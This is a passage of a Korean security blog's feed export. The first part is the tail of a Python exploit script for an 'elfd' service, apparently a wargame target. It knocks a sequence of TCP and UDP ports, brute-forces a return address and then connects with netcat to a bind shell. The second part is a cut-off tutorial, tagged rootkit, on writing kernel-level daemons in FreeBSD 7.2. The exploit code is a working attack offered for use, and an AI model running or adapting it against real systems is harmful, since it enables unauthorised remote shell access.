&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print "preparing phase 2 - listen from %d tcp" % g_listen_port[i+1]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock.bind(('0.0.0.0', g_listen_port[i+1]))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock.listen(5)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsocktype = "tcp"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (g_phase[i+1]==3):&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print "preparing phase 3 - listen from %d udp" % g_listen_port[i+1]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsock.bind(('0.0.0.0', g_listen_port[i+1]))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nextsocktype = "udp"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if i!=0:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print "nowsocktype = %s" % nowsocktype&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if g_phase[i]==0:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print "phase 0 - connecting to %d via tcp" % g_remote_port[i]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.bind(('0.0.0.0', g_local_port[i] ))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;time.sleep(g_sleep)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.connect((g_target, g_remote_port[i]))&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.send(struct.pack("&amp;gt;H", g_senddata[i]))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.send(struct.pack("&amp;gt;B", g_ip))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.close()&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;elif g_phase[i]==1:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print "phase 1 - sending to %d via udp" % g_remote_port[i]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.bind(('0.0.0.0', g_local_port[i]))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;time.sleep(0.1)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.sendto(struct.pack("&amp;gt;H",g_senddata[i])+struct.pack("&amp;gt;B", g_ip), (g_target, g_remote_port[i]))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mys.close()&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;elif g_phase[i]==2:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print "phase 2 - listening from %d via tcp" % g_listen_port[i]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(cls, addr)=nowsock.accept()&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nowsock.close()&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cls.send(struct.pack("&amp;gt;H", g_senddata[i])+struct.pack("&amp;gt;B", g_ip))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cls.close()&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;elif g_phase[i]==3:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug : print "phase 3 - listening from %d via udp" % g_listen_port[i]&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(data, addr)=nowsock.recvfrom(4)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(target, port) = addr&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nowsock.sendto(struct.pack("&amp;gt;H",g_senddata[i])+struct.pack("&amp;gt;B", g_ip), (g_target, port))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nowsock.close()&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if debug :&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print "initial"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sys.stdin.readline()&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s.send(struct.pack("&amp;gt;H", g_senddata[i]))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s.send(struct.pack("&amp;gt;B", g_ip))&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nowsock = nextsock&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;nowsocktype = nextsocktype&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;addr=g_startaddr&lt;/div&gt;&lt;div&gt;while True:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print "Trying %08x" % addr&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;addr += 16&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;while True:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;try:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;go_exploit(addr, True)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;except socket.error:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;pass&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print "Spawning shell.......... addr = %08x\n\n" &amp;nbsp;% addr&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;os.system("nc %s %d" % (g_target, 0xAAAA))&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4767372580884904177-3658403799836047314?l=nyam-textcube.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nyam-textcube.blogspot.com/feeds/3658403799836047314/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://nyam-textcube.blogspot.com/2010/07/elfd-%EC%9D%B5%EC%8A%A4%ED%94%8C%EB%A1%9C%EC%9E%87-%EC%9D%B8%EC%A6%9D-1%EC%8B%9C-44%EB%B6%84-%EC%88%98%EC%A0%95.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/3658403799836047314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/3658403799836047314'/><link rel='alternate' type='text/html' href='http://nyam-textcube.blogspot.com/2010/07/elfd-%EC%9D%B5%EC%8A%A4%ED%94%8C%EB%A1%9C%EC%9E%87-%EC%9D%B8%EC%A6%9D-1%EC%8B%9C-44%EB%B6%84-%EC%88%98%EC%A0%95.html' title='elfd 익스플로잇 인증!!!!!!!!! (1시 44분 수정)'/><author><name>nyamnyam</name><uri>http://www.blogger.com/profile/02988925197666068481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4767372580884904177.post-2031141009018665703</id><published>2010-02-10T01:10:00.000+09:00</published><updated>2011-01-30T13:05:45.670+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rootkit'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='해킹'/><category scheme='http://www.blogger.com/atom/ns#' term='루트킷'/><title type='text'>FreeBSD 7.2에서 커널모듈로 삽질한 이야기(2) - 커널 레벨 데몬만들기</title><content type='html'>&lt;script src='http://ss.textcube.com/service/blog/script/blogger.js' type='text/javascript'&gt;&lt;/script&gt;&lt;br /&gt;대부분의 커널 모듈은 event handler이다. 이는 장치드라이버를 보면 알 수 있다. 장치 드라이버들과 같은 커널 모듈들은 읽기나 쓰기 함수등을 구현해서 커널이 요청할 때 필요한 기능을 제공한다. 하지만 이것으로는 우리가 생각하는 어플리케이션 만들기에는 부족하다. 모름지기 어플리케이션이란 것은 커널이 부를 때만 움직이는 수동적인 것이 아니라, 스스로 움직이는 능동적인 개체이어야 하기 때문이다 :) 그러기 위해서 필요한 것이 커널 스레드 만들기이다.&lt;br /&gt;&lt;br /&gt;FreeBSD에서 커널레벨 프로세스를 시작하거나 종료하는 함수는&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;kproc_start&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;kproc_shutdown&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;이다. 이 외에, 커널 스레드와 관련된 함수로&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;kthread_create&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;kthread_exit&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;kthread_shutdown&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;과 같은 함수가 있다.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;프로세스와 스레드? 유저레벨에서의 프로그래밍 경험을 살려서, 이름을 통해 기능을 유추하다가&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;혹시 커널 레벨 프로세스를 만들면 유저레벨 프로그램처럼&lt;br /&gt;독립된 메모리공간을 사용하게 되지 않을까?&lt;br /&gt;그래서 커널 API를 호출 못하는 것이 아닐까?&lt;/blockquote&gt;&lt;div style="text-align: left;"&gt;하는 고민을 하게 될 수도 있다. 특히나 Man Page에는 kproc_start함수를 "SYSINIT매크로와 함께 쓰여서, 컴퓨터가 부팅될 시에 자동으로 데몬을 실행시키도록 하는 용도로 만든 함수"로 기술하고 있다. 나의 경우, 실제로 이 man페이지 설명 때문에, SYSINIT 매크로에 겁먹어서 kproc_start함수를 쓰지 못했다. 그런데 사실 여기에 너무 얽매일 필요가 없다. 이에 대한 이유는 커널소스 /sys/kern/kern_kthread.c 에서 찾아볼 수 있다.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre&gt;&lt;strong&gt;&lt;font color="#4169e1"&gt;void&lt;br /&gt;kproc_start(udata)&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;        const void *udata;&lt;br /&gt;{&lt;br /&gt;        const &lt;font color="#4169e1"&gt;struct kproc_desc&lt;/font&gt; *kp = udata;&lt;br /&gt;        int error;&lt;br /&gt;&lt;br /&gt;        error = &lt;span style="font-weight: bold;"&gt;kthread_create&lt;/span&gt;((void (*)(void *))kp-&amp;gt;func, NULL,&lt;br /&gt;                    kp-&amp;gt;global_procpp, 0, 0, &lt;font color="#666666"&gt;"%s"&lt;/font&gt;, kp-&amp;gt;arg0);&lt;br /&gt;        &lt;font color="#4169e1"&gt;if&lt;/font&gt; (error)&lt;br /&gt;                panic(&lt;font color="#666666"&gt;"kproc_start: %s: error %d"&lt;/font&gt;, kp-&amp;gt;arg0, error);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;여기서도 알 수 있듯이, &lt;span style="text-decoration: underline;"&gt;kproc_start는 단순히 kthread_create의 wrapper function&lt;/span&gt;에 불과하다. 따라서 둘은 같은 효과를 지니며, Man 페이지에서는 kproc_start와 kthread_create을 구분하고 있지만, 사실 이 둘은 같은 거라서 kproc_start로 생성된 커널 레벨 데몬도 커널과 같은 가상메모리 주소공간을 사용한다(즉, 어떤 함수로 생성되었는지에 상관 없이, 커널 데몬은 커널의 모든 메모리를 바로 엑세스 할 수 있다). &lt;br /&gt;&lt;br /&gt;커널스레드에서 주의할 것은, 스레드를 마칠 때 kthread_exit함수를 꼭 호출해주어야 한다는 점이다. 만약 그렇지 않으면, 스레드 함수는 이상한 주소로 리턴하게 될 것이고, 커널은 페이지폴트 에러를 내며 장렬히 전사할 것이다. &lt;br /&gt;&lt;br /&gt;자, 대강 준비는 끝났으니 이제 무언가 일을 하는 데몬을 만들어보자. 이번에 만들 모듈엔 다음의 기능을 구현할 것이다.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;드라이버가 로드됨과 동시에 데몬이 시작된다.&lt;/li&gt;&lt;li&gt;데몬은 매 1초마다 이상한 메시지를 출력한다.&lt;/li&gt;&lt;li&gt;드라이버가 언로드돼서 메모리에서 사라지기 전까지 데몬이 멈춘다.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;이를 어떻게 하면 구현할 수 있을까?&lt;br /&gt;먼저 매 1초마다 이상한 메시지를 출력하기 위해선 어떻게 해야할 지 살펴보자. 아무래도, 루프를 돌면서 이상한 메시지를 찍은 다음, 1초간 sleep하는 것이 좋을 것이다. 이상한 메시지를 찍는 것은 printf 함수를 이용하면 되는데, 1초간 sleep하는 것은 어떻게? 답은&lt;span style="font-weight: bold;"&gt; tsleep&lt;/span&gt;과 &lt;span style="font-weight: bold;"&gt;msleep&lt;/span&gt;이다. man 페이지를 살펴보자. &lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;int &lt;span style="font-weight: bold;"&gt;msleep&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; (void *chan, struct mtx *mtx, int priority, const char *wmesg, int timo);&lt;br /&gt;&lt;br /&gt;int &lt;span style="font-weight: bold;"&gt;tsleep&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; (void *chan, int priority, const char *wmesg, int timo);&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;man page에 나와있듯이, tsleep은 일정 시간동안 기다리는 것이고, msleep은 인수로 넣어준 mutex의 lock을 얻을때까지 최대 timo의 시간만큼 기다린다(여기서 timo는 밀리초 단위다). man page에 찾아보면 chan이라는 인수는, "스레드가 